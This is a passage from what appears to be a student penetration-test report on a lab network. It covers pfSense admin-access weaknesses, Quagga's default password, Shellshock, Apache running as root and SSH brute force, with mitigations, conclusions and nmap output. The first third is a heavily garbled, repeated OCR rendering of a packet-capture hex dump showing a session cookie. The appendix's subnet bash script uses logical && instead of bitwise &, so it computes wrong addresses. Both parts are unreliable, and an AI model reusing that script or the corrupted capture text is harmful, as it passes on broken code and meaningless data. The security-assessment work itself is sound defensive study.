| ▶ C 140 150 160 170 180 190 190 100 100 100 100 100 10 | 69 65 2e 2e 50 66 30 74 0d 61 77 | 70 72 31 70 53 63 66 69 0a 70 2d | 2c 65 36 45 37 34 6f 43 70 66 | 20 72 38 70 53 61 33 6e 6f 6c 6f | 64 3a 2e 0d 53 6e 6a 3a 6e 69 72 | 65 20 30 0a 49 62 64 20 74 63 6d | 66 68 2e 43 44 38 6b 65 61 2d | 6c 74 32 6f 3d 6d 67 65 6e 74 75 | 61 74 33 6f 67 71 0d 65 74 69 72 | 74 70 34 6b 72 73 0a 70 2d 6f 6c | 65 3a 2f 69 72 35 43 2d 54 6e 65 | 0d 2f 69 65 64 61 6f 61 79 2f 6e | 0a 2f 6e 3a 72 71 6e 6c 70 78 63 | 52 31 64 20 6f 66 69 65 2d 6f | 65 39 65 50 32 65 76 3a 77 64 | 66 32 78 48 36 63 63 65 20 77 65 | ip, de erer: .168.0 .php. PSESS fc7an 0f43ju tion: Con applic w-for | efl ht 0.2 Co ID= b8m djg ke ten cat | ate tp: 34/ oki grr qs5 C ep- t-T ion rle | Re //19 inde e: P dro2 aqfb onne aliv ype: /x-w ncod | ef 92 2H 26 21 ec ve | | |
| ▶ C)140)150)160)170)180)190)190)190)100)100)1c0)1c0)1c0)1f0 | 69 65 2e 2e 50 66 30 74 0d 61 77 64 | 70 72 31 70 53 63 66 69 0a 70 2d 0d | Ler 2c 65 36 45 37 34 6f 43 70 66 0a | 20 72 38 70 53 61 33 6e 6f 6c 6f 43 | 64 3a 2e 0d 53 6e 6a 3a 6e 69 72 6f | 65 20 30 0a 49 62 64 20 74 63 6d 6e | 66 68 2e 43 44 38 6b 65 61 2d 74 | 6c 74 32 6f 3d 6d 67 65 6e 74 75 65 | 61 74 33 6f 67 71 0d 65 74 69 72 6e | 74 70 34 6b 72 73 0a 70 2d 6f 6c 74 | 65 3a 2f 69 72 35 43 2d 54 6e 65 2d | 0d 2f 69 65 64 61 6f 61 79 2f 6e 4c | 0a 2f 6e 3a 72 71 6e 6c 70 78 63 65 | 52 31 64 20 6f 66 69 65 2d 6f 6e | 65 39 65 50 32 65 76 3a 77 64 67 | 66 32 78 48 36 6a 63 65 20 77 65 74 | ip, de erer: .168.0 .php. PSESS fc7anl 0f43jn tion: Con applid w-form dCon | efl ht .Co ID= So b ke ten cat u | ate tp: 34/ oki grr qs5 C ep- t-T ion rle nt- | Re //19 inde e: P dro2 aqfb onne aliv ype: /x-w ncod Leng | ef 92 26 26 26 26 26 26 26 26 26 26 26 26 26 | | |
| ▶ C)140)150)150)170)180)190)190)190)100 | 69 65 2e 2e 50 66 30 74 61 77 64 68 | 70 72 31 70 53 63 66 69 0a 70 2d 3a | 2c 65 36 45 37 34 6f 43 70 66 0a 20 | 20 72 38 70 53 61 33 66 6f 43 31 | 64 3a 2e 0d 53 6e 6a 3a 6e 69 72 6f 32 | 65 20 30 0a 49 62 64 20 74 63 6d 68 38 | 66 68 2e 43 44 38 6b 65 61 2d 74 0d | 6c 74 32 6f 3d 6d 67 65 6e 74 75 65 0a | 61 74 33 6f 67 71 0d 65 74 69 72 6e 0d | 74 70 34 6b 72 73 0a 70 2d 6f 6c 74 0a | 65 3a 2f 69 72 35 43 2d 54 6e 65 2d 5f | 0d 2f 69 65 64 61 6f 79 2f 6e 4c 5f | 0a 2f 6e 3a 72 71 6e 6c 70 78 63 63 63 | 52 31 64 20 6f 66 69 65 2d 6f 6e 73 | 65 39 65 50 32 65 76 3a 77 64 67 72 | 66 32 78 48 36 6a 63 65 20 77 65 74 66 | ip, de erer: .168.0 .php. PSESS fc7an 0f43ju tion: Con applic w-form dCon h: 120 | efl ht .Co ID= ke ten cat n-u B | ate tp: 34/ oki grf qs5 C ep- t-T ion rle nt- | Re //19 inde e: F dro2 aqfb onne aliv ype: /x-w ncod Leng _csr | ef 22 24 26 26 26 26 26 26 26 26 26 26 26 26 26 | | |
| ▶ C)140)150)150)170)180)190)180)190)100 | 69 65 2e 2e 50 66 30 74 61 77 64 65 5f | 70 72 31 70 53 63 66 69 0a 70 2d 0d 3a 6d | - Ler 2c 65 36 68 45 37 34 6f 43 70 66 0a 20 61 | 20 72 38 70 53 61 33 66 66 66 43 31 67 | 64 3a 2e 0d 53 6e 6a 3a 6e 69 72 6f 32 69 | 65 20 30 0a 49 62 64 20 74 63 6d 6e 38 63 | 66 68 2e 43 44 38 6a 6b 65 61 2d 74 0d 3d | 6c 74 32 6f 3d 67 65 65 6e 74 75 65 0a 73 | 61 74 33 6f 67 71 0d 65 74 69 72 6e 0d 69 | 74 70 34 6b 72 73 0a 70 2d 6f 6c 74 0a 64 | 65 3a 2f 69 72 35 43 2d 54 65 2d 5f 25 | 0d 2f 69 65 64 6f 6f 2f 6e 4c 5f 33 | 0a 2f 6e 3a 72 71 6e 6c 70 78 63 63 41 | 52 31 64 20 6f 66 69 65 2d 6f 6e 73 38 | 65 39 65 50 32 62 65 76 3a 77 64 67 72 36 | 66 32 78 48 36 63 65 20 77 65 74 66 38 | ip, de erer: .168.0 .php. PSESS fc7anl 0f43ju tion: Con applid w-form dCon h: 120 magiu | efl ht 0.2 Co ID= b8m djg ke ten cat m-u cat m-u cat | ate tp: 34/ oki grf qs5 C ep- t-T ion rle nt- id% | Re //19 inde e: P dro2 aqfb onne aliv ype: /x-w ncod Leng _csr 3A86 | ec ve | | |
| ▶ C 140 150 160 170 180 190 160 160 160 160 200 210 220 | 69 65 2e 50 66 30 74 61 77 64 68 5f | 70 72 31 70 53 63 66 69 0a 70 2d 3a 6d 37 | - Ler 2c 65 36 68 45 37 34 6f 43 70 66 0a 20 61 34 | 20 72 38 70 53 61 33 66 66 43 31 67 37 | 64 3a 2e 0d 53 6e 6a 3a 6e 69 72 6f 32 69 32 | 65 20 30 0a 49 62 64 20 74 63 6d 6e 38 63 30 | 66 68 2e 43 44 38 65 61 2d 74 0d 35 | 6c 74 32 6f 3d 67 65 65 65 74 75 65 0a 73 63 | 61 74 33 6f 67 71 0d 65 74 69 72 6e 0d 69 39 | 74 70 34 6b 72 73 0a 70 2d 6f 6c 74 0a 64 | 65 3a 2f 69 72 35 43 2d 54 65 2d 5f 25 65 | 0d 2f 69 65 64 61 6f 61 79 2f 6e 4c 5f 33 62 | 0a 2f 6e 3a 72 71 6e 6c 70 78 63 63 41 35 | 52 31 64 20 6f 66 69 65 2d 6f 6e 73 38 37 | 65 39 65 50 32 65 76 32 65 76 3a 77 64 67 236 | 66 32 78 48 36 63 65 20 77 65 74 65 38 62 | ip, de erer: .168.0 .php. PSESS fc7anl 0f43Ju tion: Con applid w-form dCon h: 120 magi 074720 | efl ht .Co ID= b8m djg ke ten cat m-u cat s c=s | ate tp:: 34/ oki grf qs5 C ep- t-T ion rle nt- id% | Re //19 inde e: P dro2 aqfb onne aliv ype: /x-w ncod Leng _csr 3A86 | ec ve | | |
| ▶ C)140)150)160)170)180)190)140)140)140)140)140)140)140)140)140)140)140)140)140)1200)210)220 | 69 65 2e 2e 50 66 30 74 0d 61 77 64 68 5f 30 | 70 72 31 70 53 66 9 0a 70 2d 3a 6d 37 0 3a | 2c 65 36 68 45 37 34 6f 43 70 66 0a 20 61 34 | 20 72 38 70 53 61 33 66 66 67 33 67 37 | 64 3a 2e 0d 53 6e 63 6e 69 72 6f 32 69 32 | 65 20 30 0a 49 62 64 20 74 63 64 20 74 63 64 38 63 39 | 66 68 2e 43 44 38 6b 65 61 2d 74 0d 35 20 | 6c 74 32 6f 3d 67 65 6e 74 75 65 0a 73 63 | 61 74 33 6f 67 71 65 74 69 72 6e 0d 69 39 | 74 70 34 6b 72 73 0a 70 2d 6f 6c 74 0a 64 64 | 65 3a 2f 69 72 35 43 2d 54 6e 55 2d 5f 25 65 | 0d 2f 69 65 64 61 6f 61 79 2f 6e 4c 5f 33 62 | 0a 2f 6e 3a 72 71 6e 6c 70 78 63 65 63 41 35 | 52 31 64 20 6f 66 69 65 2d 6f 6e 73 38 37 | 65 39 65 50 32 65 76 32 65 76 3a 77 64 67 236 65 | 66 32 78 48 36 63 65 20 77 65 74 66 38 62 74 | ip, de erer: .168.0 .php. PSESS fc7anl 0f43ji tion: Con applid w-form dCoo h: 120 _magi 074722 | efl ht 0.2 Co ID= b8m djg ke ten cat m-u nte B c=s 95c | ate tp:/ 34/ oki grf qs5 C ep- t-T ion rle nt- id% 9de | Re //19 inde e: P dro2 aqfb onne aliv ype: /x-w ncod Leng 3A86 b57e | ec ve www. ie t f f f f f f f f f f f f f f f f f f | | |
| ▶ C 140 150 160 170 180 190 190 100 100 100 100 100 10 | 69 65 2e 2e 50 66 30 74 61 77 64 68 5f 30 39 | 70 72 31 70 53 63 66 9 0a 70 2d 0d 3a 6d 37 62 | 2c 65 36 45 37 34 6f 37 66 0a 20 61 34 38 | 20 72 38 70 53 61 33 66 6f 66 6f 43 31 67 37 65 | 64 3a 2e 0d 53 6e 63 6e 69 72 6f 32 69 32 32 | 65 20 30 0a 49 62 64 20 74 63 64 20 74 63 64 38 63 39 32 | 66 68 2e 43 64 65 61 2d 3d 35 38 | 6c 74 32 6f 3d 6f 65 6e 74 75 65 0a 73 63 34 | 61 74 33 6f 67 71 65 74 69 72 6e 0d 69 39 38 | 74 70 34 6b 72 73 0a 70 2d 6f 6c 74 0a 64 65 | 65 3a 2f 69 72 35 43 2d 54 6e 65 2d 5f 25 65 64 | 0d 2f 69 65 64 6f 6f 2f 6e 4c 5f 33 62 38 | 0a 2f 6e 3a 72 71 6e 6c 70 78 63 65 63 41 35 66 | 52 31 64 20 66 69 65 2d 66 65 2d 67 38 37 31 | 65 39 65 50 32 65 32 65 33 77 64 67 72 36 65 63 | 66 32 78 48 36 63 65 20 77 65 74 65 38 62 37 | ip, de erer: .168.0 .php. FSESS fc7anl of43ju tion: Con appli w-form dCon h: 120 magi 074729 9b8e2 | efl ht 0.2 .Co ID= b8m djg ke ten cat m-u nte 8 c=s 95c 284 | ate tp: 34/ oki grf qs5 C ep- t-T ion rle nt- id% 9de 8ed | Re //19 inde e: P dro2 aqfb onne aliv ype: /x-w ncod Leng _csr 3A86 b57e 8f1c | www.lettf88b.7 | | |
| ▶ C)140)150)160)170)180)140)140)160)160)160)160)160)200)220)220)220)220)220)220)220 | 69 69 2e 2e 50 66 30 74 0d 61 77 64 68 5f 30 39 38 | 70 72 31 70 53 63 66 00 20 00 30 30 30 30 60 37 62 62 | 2c 65 36 68 45 37 34 6f 43 70 66 0a 20 61 34 38 31 | 20 72 38 70 53 61 33 66 66 66 67 37 65 32 | 64 3a 2e 0d 53 6e 6a 3a 6e 69 72 6f 32 69 32 32 32 | 128 65 20 30 49 62 64 20 74 63 64 20 74 63 64 38 39 32 25 | 66 68 2e 43 64 65 61 2d 36 36 37 4 0d 35 38 32 | 6c 74 32 6f 3d 67 65 66 74 75 65 0a 73 63 34 43 | 61 74 33 6f 67 71 65 74 69 72 6e 0d 39 38 31 | 74 70 34 6b 72 73 0a 70 2d 6f 6c 74 0a 64 65 35 | 65 3a 2f 69 72 35 43 2d 54 6e 55 2d 5f 65 64 30 | 0d 2f 69 65 64 61 6f 61 79 2f 6e 4c 5f 33 62 38 36 | 0a 2f 6e 3a 72 71 6e 6c 70 78 63 65 63 41 35 66 35 | 52 31 64 20 66 69 65 2d 66 65 2d 66 73 38 37 31 38 | 65 39 65 50 32 65 65 65 64 67 72 36 65 63 31 | 66 32 78 48 36 63 65 20 77 65 74 66 38 62 37 31 | ip, de erer: .168.0 .php. PSESS fc7anl of43] tion: Con appli: w-ford dCor h: 120 magin 074729 988e22 8b1225 | efl ht 0.2 .Co ID= b8m djg ke ten cat m-u nte 8 284 2284 %20 | ate tp: 34/ oki grf qs5 C ep- t-T ion rle nt- id% 9de 8ed 150 | Re //19 inde e: P dro2 aqfb onne aliv ype: /x-w ncod Leng _csr 3A86 b57e 8f1c 6581 | www.etf 58b 271 | | |
| ▶ C 0140 0150 0170 0180 0190 0160 0160 0160 0160 0160 0200 0220 0230 0240 0250 | 69 65 2e 50 66 30 74 0d 61 77 64 68 5f 30 39 38 38 | 70 72 31 70 53 63 66 9 0a 70 2d 3a 6d 37 62 33 | 2c 65 36 45 37 43 6f 43 70 60 a 20 61 34 38 31 26 | 20 72 38 70 53 61 33 66 66 43 31 67 37 65 32 75 | 64 3a 2e 0d 53 6e 63 6e 69 72 6f 32 69 32 32 32 32 73 | 65 20 30 49 62 64 20 74 63 64 20 74 63 64 38 39 32 25 65 | 66 68 2e 43 44 36 65 61 2d 35 38 32 72 | 6c 74 32 6f 3d 67 65 6e 74 75 65 0a 73 63 44 6e | 61 74 33 6f 67 71 65 74 69 72 6e 0d 69 39 38 31 61 | 74 70 34 6b 72 73 0a 6f 6c 74 0a 64 65 35 6d | 65 3a 2f 69 72 35 43 2d 54 66 525 65 64 30 65 | 0d 2f 69 65 64 61 6f 61 79 2f 6e 4c 5f 33 62 38 66 | 0a 2f 6e 3a 72 71 6e 6c 70 78 63 65 63 41 35 66 35 6c | 52 31 64 20 6f 66 69 65 2d 6f 66 73 38 37 31 38 64 | 65 39 65 50 32 65 76 3a 77 64 67 236 65 63 31 3d | 66 32 78 48 36 63 65 20 77 65 74 65 38 62 37 31 61 | ip, de erer: .168.(.php. PSESS fc7anl 0f43j tion: Con applid w-forn d.Con h: 122 _magi 07472 9b8e2: 8b122 8b122 | efl ht .Co ID= b8m djg ke ten cat c=s 95c 2284 %2C | ate tp::34/ oki grr,qs5 C ep- t-T ion rle nt- id% 9de 8ed 150 ame | Re //19 inde e: F dro2 aqfb onne aliv ype: /x-w ncod Leng _csr 3A86 b57e 8f1c 6581 f1d | www.eettf88bb;711 | | |
| C 20140 0140 0150 0150 0150 0150 0160 0160 0160 0160 0160 0160 0160 0160 0160 0160 0160 01200 0220 0220 0220 0220 02250 0250 0250 | 69 65 2e 2e 50 66 30 74 61 77 64 68 5f 30 39 38 38 64 | 70 72 31 70 53 66 69 0a 70 2d 3a 62 36 62 36 62 36 62 36 62 36 62 36 62 36 62 36 62 36 62 36 62 36 62 36 62 36 36 62 36 53 53 53 53 53 53 53 53 53 53 53 53 53 | Ler 2c 65 36 68 45 37 43 6f 43 70 66 0a 20 61 34 38 31 26 9 | 20 72 38 70 53 61 36 66 66 67 37 65 37 65 37 65 275 66 | 64 3a 2e 0d 53 6e 63 6e 69 72 6f 32 69 32 32 32 32 73 26 | 128 65 20 30 62 64 20 64 62 64 63 66 38 63 32 25 65 70 | 66 68 2e 43 44 36 65 61 2d 35 38 32 72 61 | 6c 74 32 6f 3d 6d 67 65 66 74 75 65 0a 73 63 34 34 36 73 | 61 74 33 6f 67 71 65 74 69 72 6e 0d 69 39 38 31 61 73 | 74 70 34 6b 72 73 0a 6f 6c 74 0a 64 65 35 6d 77 | 65 3a 2f 69 72 35 43 2d 54 66 52d 55 65 65 65 65 65 65 65 65 | 0d 2f 69 65 61 6f 61 79 2f 6e 4c 5f 33 23 66 72 | 0a 2f 6e 3a 72 71 6e 6c 70 78 63 65 63 41 35 66 35 66 4 | 52 31 64 20 66 69 65 2d 66 67 38 37 38 37 38 66 | 65 39 65 50 22 65 76 32 65 76 37 76 67 236 65 63 31 30 60 | 66 32 78 48 63 65 20 77 65 74 66 38 62 37 31 64 | ip, de erer: .j68.0 .php. PSESS fc7anl of43ju tion: .Con applid w-ford dCoi h: 120 .magi: 074729 9b8e2: 8b1225 83&usi | efl ht .Co ID= b8m djg ke ten cat c=s 95c 2284 %2C ern | ate tp: 34/ oki ep- t-T ion rle nt- id% 9de 8ed 1500 | Re //19 inde e: F dro2 aqfb onne aliv ype: /x-w ncod Leng csr 3A86 b57e 8f1c1 6581 rdf1 | ef 22 22 22 22 22 22 22 22 22 2 | | |
| C | 69 65 2e 2e 50 66 30 74 0d 61 77 64 68 5f 30 39 38 38 38 62 | 70 72 31 70 53 66 60 80 70 20 00 30 60 30 60 20 00 30 60 20 00 30 60 20 00 30 20 20 20 20 20 20 20 20 20 20 20 20 20 | Ler 2c 65 36 45 37 66 43 70 66 0a 20 61 38 31 65 5 66 5 68 43 70 66 68 37 66 68 5 68 43 70 66 68 68 57 68 68 68 68 68 68 68 68 68 68 | 20 72 38 70 53 61 36 66 66 67 37 65 37 65 37 65 27 56 27 56 27 56 27 57 57 57 57 57 57 57 57 57 57 57 57 57 | 64 3a 2e 0d 53 6e 6a 3a 6e 69 72 6f 32 32 32 32 73 26 72 69 32 27 32 73 | 128 65 20 30 49 62 64 20 74 63 64 62 63 63 32 25 65 70 22 | 66 68 2e 43 44 38 6b 65 61 2d 35 32 74 0d 35 32 72 65 | 6c 74 32 6f 3d 6d 67 65 6e 74 75 65 0a 73 63 34 43 6e 73 63 34 | 61 74 33 6f 71 0d 65 74 69 72 6e 0d 69 38 31 61 73 75 | 74 70 34 6b 72 73 0a 70 2d 6f 6c 74 0a 65 35 6d 77 22 | 65 3a 2f 69 72 35 43 2d 54 66 52d 5f 25 64 30 65 65 | 0d 2f 69 65 64 61 6f 61 79 2f 6e 4c 5f 33 66 22f 83 66 25 75 9 | 0a 2f 6e 3a 72 71 6e 6c 70 78 63 65 63 41 35 66 35 66 41 | 52 31 64 20 66 69 65 2d 66 69 65 2d 66 73 37 38 37 38 64 66 72 | 65 39 65 50 32 65 76 32 65 76 32 67 36 63 31 36 50 31 36 50 31 36 50 31 36 50 50 50 50 50 50 50 50 50 50 50 50 50 | 66 32 78 48 66 65 20 77 65 4 63 82 77 65 4 63 82 37 1 64 47 | ip, de erer: .168.0 .php. PSESS fc7anl 0f43ju tion: .Con appli w-ford d.Con h: 120 | efl ht 0.2 .Co ID= 08m dig ke ten cat m-u cat s c=s 95c 284 %2C ern oas | ate tp::34/ oki grf qs5 c ep t-T ion rle nt- id% 9de 8ed 150 ame | Re //19 inde e: F dro2 aqfb onne aliv /x-w ppe:: /x-w Leng _csr 3A86 b57e 8f1c 6581 f1d= rdf1 | ef 22 22 26 26 26 26 26 26 26 27 26 26 26 27 26 26 26 27 26 26 26 27 26 26 27 26 26 27 26 26 27 27 27 27 27 27 27 27 27 27 27 27 27 | | |
| C 1140 1150 1150 1170 1180 1190 1190 1190 1190 1190 1190 119 | 69 65 2e 2e 50 66 30 74 0d 61 77 64 85 f 30 39 38 38 64 30 38 38 64 30 | 70 72 31 70 53 63 66 90 80 70 20 30 80 70 20 30 80 70 20 30 80 70 20 80 70 20 80 70 20 70 20 70 20 70 70 70 70 70 70 70 70 70 70 70 70 70 | Ler 2c 65 36 45 37 45 37 45 37 45 37 66 0a 20 61 38 31 26 69 65 53 65 53 65 53 68 45 53 68 45 53 68 45 53 68 45 53 68 45 53 68 45 53 68 45 53 68 45 53 68 45 53 68 45 53 68 45 53 68 45 53 66 68 45 53 66 68 45 53 66 68 45 53 66 68 53 66 68 53 66 66 66 66 66 66 66 66 66 6 | 20 72 38 70 53 66 66 64 31 65 32 75 62 75 62 75 | 64 3a 2e 0d 53 6e 63 66 69 72 6f 32 32 32 73 26 79 | 128 65 20 30 49 62 64 20 74 63 64 20 74 63 64 32 25 65 70 53 | 66 68 2e 43 44 38 6b 65 61 2d 35 38 27 2 61 5 65 | 6c 74 32 6f 3d 6d 67 65 65 65 0a 73 63 34 43 6e 73 63 | 61 74 33 6f 67 71 65 74 69 38 31 61 73 75 | 74 70 34 6b 72 73 6f 67 70 6f 67 4 65 35 6d 77 72 | 65 3a 2f 69 72 35 43 2d 54 65 2d 55 64 30 65 65 65 | 0d 2f 69 65 64 61 79 6e 4c 5f 33 62 38 66 72 50 | 0a 2f 6e 3a 72 71 6e 6c 70 78 63 65 63 41 35 66 35 6c 41 61 | 52 31 64 20 6f 66 69 65 2d 6f 6e 73 38 37 31 38 64 66 73 | 65 39 65 50 32 65 76 3a 77 64 67 72 36 63 31 62 73 | 66 32 78 36 63 65 20 77 65 74 66 38 62 37 31 64 77 | ip, de erer: .168.0 .php. PSESS fcZand 0f431 tion: con applid w-form dcon h: 120 magin 074722 9b8e22 8b1225 8b325 8b35 8b325 8b35 8b | efl ht 0.2 Co ID= 08m ke ten cat c=s 95c 284 %2C ern 0as Sec | ate tp::34/ oki grf qs5 C ep- t-T ion rle- id% 9de 8ed 150 ame swo ure | Re //19 inde e: P dro2 aqfb onne aliv ype:: /x-w ncod Leng csr 3A86 b57e 8f1c 6581 f1d= rdf1 Fass | ef 22 24 26 26 26 26 26 26 26 26 26 26 | | |

Mitigation

Enable HTTPS in the PFSense options:

| COMMUNITY EDITION | System - | Interfaces 🗸 | Firewall 🗸 | Services - | VPN 🗸 | Status 🗸 | Diagnostics - | Gold 🗸 | Help 🗕 | Þ |
|-------------------|---------------------|--------------|-------------|-----------------------|-----------------|----------|--------------------------|--------|--------|---|
| System / A | dvanced / | Admin Acc | ess | | | | | | | Ø |
| Admin Access | Firewall & N | AT Networki | ng Miscella | aneous S | System Tunables | Notifica | itions | | | |
| webConfigura | itor | | | | | | | | | |
| Pi | rotocol | ○ НТТР | | | | (| HTTPS | | | |

2.4.4.4 Default Timeout (4H)

Vulnerability

The default session expiry time is 4H, this means if the administrator forgets to log out or the session ID is stolen the attacker has 4 hours to make their changes.

Mitigation

Change the session timeout to something more reasonable – example given for 5 minutes:

| System / User Ma | anager / Settings |
|-----------------------|---|
| Users Groups | Settings Authentication Servers |
| Settings | |
| Session timeout | 5 Time in minutes to expire idle management sessions. The default is 4 hours (240 minutes). Enter 0 to never expire sessions. NOTE: This is a security risk! |
| Authentication Server | Local Database |
| | 🖺 Save & Test |

2.4.4.5 Quagga

<u>Vulnerability</u>

The Quagga service running on ports 2601-2604 of the firewall uses default password "pfsense", Quagga cannot be setup to work over ssh, it will only work over telnet and netcat regardless of the configuration as described by Alexis Rosen on quagga-dev (quagga.net, 2016).

Mitigation

Either disable Quagga or give the service a much better password:



2.4.5 Web Server

2.4.5.1 ShellShock

<u>Vulnerability</u>

The Apache web server is vulnerable to shellshock, a bash bug that occurs when an attacker forces an application to send a malicious environment variable to bash. This particular attack made use of the status cgi script found on the web server to launch a interactive remote bash shell.

Mitigation

The easiest way to mitigate shellshock is to update; apache and bash have long since patched shellshock. If the version of other software is critical to operation then shellshock can be mitigated just by upgrading bash which can be done like so:



However, it is strongly recommended that everything is updated as that reduces the likeliness of further vulnerabilities. Upgrading everything can be done like so:

| | | | | | root@xadmin-virtual-machine: ~ | 0 | e |
|---------------------|---|------------------------------------|--|---|---|---|---|
| File | Edit | View | Search | Terminal | Help | | |
| root Welc * D | <mark>@kali</mark> @192. ome t ocume | :~# s 168.0 to Ubu entati | sh 192 .242's intu 14 .on: h ¹ | .168.0.24 password .04 LTS ttps://he | 42 d: (GNU/Linux 3.13.0-24-generic x86_64) elp.ubuntu.com/ | | |
| Last root | logi @xadm | ln: Th nin-vi | u Sep 2 rtual-r | 28 07:51 machine: | :00 2017 from 192.168.0.200 ~# sudo apt-get upgrade | | |

2.4.5.2 Apache Server Runs as Root

Vulnerability

Apache server runs as root, meaning that if apache is compromised the attacker can also gain root privileges.

Mitigation

Due to the way Apache was configured it will have to be reinstalled.

2.4.5.3 SSH Vulnerable to Brute Force

Vulnerability

SSH currently allows for endless tries, meaning passwords can be brute forced over ssh

<u>Mitigation</u> See section 2.4.2.4.

2.5 CRITICAL EVALUATION

Overall there has been a decent attempt to properly configure this network; the subnets have been properly configured to allow for future expansion without wasting addresses on sections that are unlikely to change. The PFSense -based firewall was really only two rules away from functioning as intended and a lot of the configuration issues found with the firewall would be partially mitigated had the rules been enforced. Having SSH key verification on the workstations was good, however access should probably be limited to the administrator workstation as being behind the firewall it is far less likely to be compromised than one of the other workstations.

Router 1 had SSH enabled which is significantly more secure than telnet, which was the only option on the remaining 3 routers. Having telnet enabled at all still poses an issue though and the service should be disabled where possible.

The password quality is shoddy and needs to drastically improve; three of the four passwords used across the network were cracked within 33s -which is no time at all. The password reuse also needs to be stopped as -in a similar way to the public key issue- if one host is broken into then all hosts can be.

Some services seem to be enabled just for the sake of having them such as NFS, why is access to every workstation needed? If services like NFS need to be enabled, the time should be taken to properly configure them as it can be devastating if a malicious user is able to gain root level access to the files – which is exactly what can happen with the current configuration.

SNMP is another thing that just seems to be enabled for the sake of it, it might be slightly more acceptable to use such and old version of SNMP on some seriously old hardware however, everything within the network capable of supporting SNMPv1 can support SNMPv3. Sure, SNMPv1 is easier to setup but it is so insecure many vendors have gone as far as removing support for SNMPv1 – even those known to care for backwards compatibility such as Microsoft.

Before deploying this network, it is recommended that the mitigations detailed in section 2.4 are implemented and that a review of the devices is completed to ensure consistency between them.

2.6 CONCLUSIONS

Based on the current state of the network the tester does not believe it is fit for deployment, even as a prototype there are many glaring issues with the configuration of nearly every device. The only device within the network that has no misconfigurations is the device that cannot be configured – the switch. A serious rework will be required before deployment in a working environment is viable.

REFERENCES

Digitalocean.com. (2017). How To Route Web Traffic Securely Without a VPN Using a SOCKS Tunnel | DigitalOcean. [online] Available at: https://www.digitalocean.com/community/tutorials/how-to-route-web-traffic-securelywithout-a-vpn-using-a-socks-tunnel [Accessed 12 Dec. 2017].

GitHub. (2017). praetorian-inc/HobORules. [online] Available at: https://github.com/praetorian-inc/HobORules/blob/master/wordlists/rockyou.txt.gz [Accessed 12 Dec. 2017].

Hashcat.net. (2017). hashcat [hashcat wiki]. [online] Available at: https://hashcat.net/wiki/doku.php?id=hashcat [Accessed 12 Dec. 2017].

Lists.quagga.net. (2017). [quagga-dev 15277] Re: Regarding SSH support in Quagga. [online] Available at: https://lists.quagga.net/pipermail/quagga-dev/2016-May/031896.html [Accessed 12 Dec. 2017].

Metasploit. (2017). Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit. [online] Available at: https://www.metasploit.com/ [Accessed 12 Dec. 2017].

Metasploit.help.rapid7.com. (2017). Installing Metasploit Pro, Ultimate, Express, and Community. [online] Available at: https://metasploit.help.rapid7.com/docs [Accessed 12 Dec. 2017].

Nmap.org. (2017). Nmap: the Network Mapper - Free Security Scanner. [online] Available at: https://nmap.org/ [Accessed 12 Dec. 2017].

Offensive-security.com. (2017). Pivoting. [online] Available at: https://www.offensive-security.com/metasploit-unleashed/pivoting/ [Accessed 12 Dec. 2017].

Symantec Security Response. (2017). ShellShock: All you need to know about the Bash Bug vulnerability. [online] Available at: https://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerability [Accessed 12 Dec. 2017].

Withblue.ink. (2017). Stop SSH brute force attempts. [online] Available at: https://withblue.ink/2016/07/15/stop-ssh-brute-force-attempts.html [Accessed 12 Dec. 2017].

APPENDIX A – SUBNET CALCULATIONS EXAMPLE

STEP 1: CONVERT IP ADDRESS TO BINARY

192.168.0.193 = 11000000.10101000.00000000.11000001

| | 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 |
|-----|-----|----|----|----|---|---|---|---|
| 192 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |
| 168 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 193 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |

STEP 2: CONVERT SUBNET MASK TO BINARY

| | 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 |
|-----|-----|----|----|----|---|---|---|---|
| 255 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
| 255 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
| 255 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
| 224 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 |

STEP 3: CALCULATE SUBNET ADDRESS

To save time with additional subnet address calculations the following script was developed:

```
#!/bin/bash
usage() { echo "Usage: $0 [-i <IP ADDR>] [-m <SUBNET MASK>]" 1>&2; exit 1; }
while getopts ":i:m:" o; do
  case "${o}" in
    i)
      i=${OPTARG}
      ;;
    m)
      m=${OPTARG}
      ;;
    *)
      usage
      ;;
  esac
done
shift $((OPTIND-1))
if [ -z "${i}" ] || [ -z "${m}" ]; then
  usage
fi
IFS=. read -r ip_oct1 ip_oct2 ip_oct3 ip_oct4 <<< "${i}"
IFS=. read -r subnetmask_oct1 subnetmask_oct2 subnetmask_oct3 subnetmask_oct4 <<< "${m}"
```

printf "%d.%d.%d.%d\n" "\$((ip_oct1 && subnetmask_oct1))" "\$((ip_oct2 && subnetmask_oct2))" "\$((ip_oct3 && subnetmask_oct3))" "\$((ip_oct4 && subnetmask_oct4))"

STEP 4: EVALUATE HOSTS

First usable host in subnet is subnet address + 1: 192.168.0.193/27. Last usable host in subnet is IP and used octets of subnet mask -1: (192.168.0.) 224 -1 = 192.168.0.223 Broadcast Address is IP and used octets of subnet mask: (192.168.0.) 224 Usable hosts is 2 ^ number of used octets in subnet mask (blue highlight) – 2: (2^5)-2 = 30

2.7 APPENDIX B – INTIAL NMAP SCAN

Starting Nmap 7.40 (https://nmap.org) at 2017-09-27 15:06 EDT Nmap scan report for 192.168.0.33 Host is up (0.00040s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https

Nmap scan report for 192.168.0.34 Host is up (0.00058s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind 2049/tcp open nfs

Nmap scan report for 192.168.0.129 Host is up (0.00057s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https

Nmap scan report for 192.168.0.130 Host is up (0.00089s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind 2049/tcp open nfs

Nmap scan report for 192.168.0.225 Host is up (0.00019s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh 23/tcp open telnet 80/tcp open http 443/tcp open https

